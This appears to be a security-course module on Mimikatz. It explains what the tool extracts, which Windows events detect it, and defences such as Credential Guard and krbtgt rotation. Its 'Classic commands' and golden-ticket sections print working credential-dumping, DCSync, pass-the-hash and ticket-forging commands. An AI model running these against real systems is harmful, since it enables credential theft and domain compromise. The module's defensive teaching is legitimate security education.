Module 5 · Mimikatz — Credential Extraction

Last updated: April 29, 2026

Mimikatz is the tool that defined modern Windows credential attacks. Benjamin Delpy’s 2011 research paper accompanying it single-handedly changed how the security community thinks about Windows auth. This module covers what Mimikatz does, how defenders catch it, and why Credential Guard matters.

What it extracts

Mimikatz reads credentials from process memory (primarily LSASS — Local Security Authority Subsystem Service) and from local SAM/SECRETS registry hives. Specifically:

• NTLM hashes of logged-in users (from LSASS)
• Plaintext passwords if WDigest is enabled (legacy — disabled by default in modern Windows)
• Kerberos tickets — TGT and service tickets
• Certificates and their private keys from the cert store
• Local SAM password hashes
• Cached domain credentials (MSCACHE)

Classic commands

# Elevate to debug privileges
privilege::debug

# Dump all logon passwords/hashes from LSASS
sekurlsa::logonpasswords

# Dump local SAM password hashes
lsadump::sam

# Export Kerberos tickets to disk
sekurlsa::tickets /export

# DCSync — replicate all password hashes from a DC (needs DCSync rights)
lsadump::dcsync /domain:corp.example.com /user:krbtgt

# Pass-the-Hash — authenticate using NTLM hash
sekurlsa::pth /user:Administrator /domain:corp /ntlm:HASH /run:cmd

Golden Ticket — the doomsday capability

If Mimikatz extracts the krbtgt account hash (via DCSync or from NTDS.dit), it can forge Kerberos TGTs for ANY user in the domain:

kerberos::golden /user:AttackerUser /domain:corp.example.com \
                 /sid:S-1-5-21-xxxx /krbtgt:KRBTGTHASH \
                 /id:500 /groups:512 /ptt

That ticket is valid for 10 years by default. Survives password resets of the impersonated user. The ONLY way to revoke: reset the krbtgt password twice. Most orgs don’t.

Detection signals

Mimikatz is the most-detected tool in enterprise. Key signals:

• Process access to LSASS with debug + sedebug privileges — Sysmon Event ID 10 + Windows Event 4656/4663
• LSASS memory read from unusual process — EDR behavioural rule
• Known Mimikatz byte patterns — AV/EDR signature detection (every vendor has these)
• Service ticket requests for krbtgt as target SPN — Event 4769 with unusual TargetSid
• DCSync from non-DC principal — Event 4662 with GetChanges/GetChangesAll GUID

Defences

1. Credential Guard (Windows 10/Server 2016+) — isolates LSASS secrets in a VBS (virtualization-based security) container. Mimikatz can no longer read the protected memory.
2. LSASS protection (PPL) — makes LSASS a Protected Process Light. Limits which other processes can access it.
3. Disable WDigest — removes plaintext password cache.
4. Protected Users group — disables NTLM, RC4, delegation for members.
5. Tiered admin — never login DA on untrusted workstations (where LSASS can be dumped).
6. ATA / Defender for Identity — behavioural detection of Mimikatz techniques from DC traffic.
7. Regular krbtgt rotation — rotate twice annually minimum. Invalidates golden tickets.

Modern alternatives attackers use

Because Mimikatz is so well-detected, attackers increasingly use:

• SafetyKatz — runs Mimikatz reflectively from memory, minimising disk artefacts
• Nanodump — minimal LSASS dumper; the dump is then processed offline
• Impacket secretsdump.py — extracts hashes from NTDS.dit without touching the target machine beyond authenticated API calls
• Sharpsploit — .NET post-exploitation library with Mimikatz-equivalent functionality

Legal note

Mimikatz on machines you don’t own or aren’t authorised to test = criminal offence under IT Act §66 (India) and equivalent laws globally. Only use on: your own test lab, authorised red-team engagements with signed scope, CTF environments designed for this.

Quick reference summary

• Mimikatz dumps credentials from LSASS memory and local SAM/SECRETS
• Key commands: sekurlsa::logonpasswords, lsadump::sam, lsadump::dcsync, kerberos::golden
• Golden Ticket = forged TGT valid 10 years; krbtgt hash extraction required
• Defences: Credential Guard, LSASS PPL, Protected Users group, disable WDigest, tiered admin, krbtgt rotation
• Detection: LSASS memory access alerts, DCSync from non-DC, signatures — every major EDR catches stock Mimikatz
• Modern attackers use reflective/alternative tools; Mimikatz itself is a loud historical reference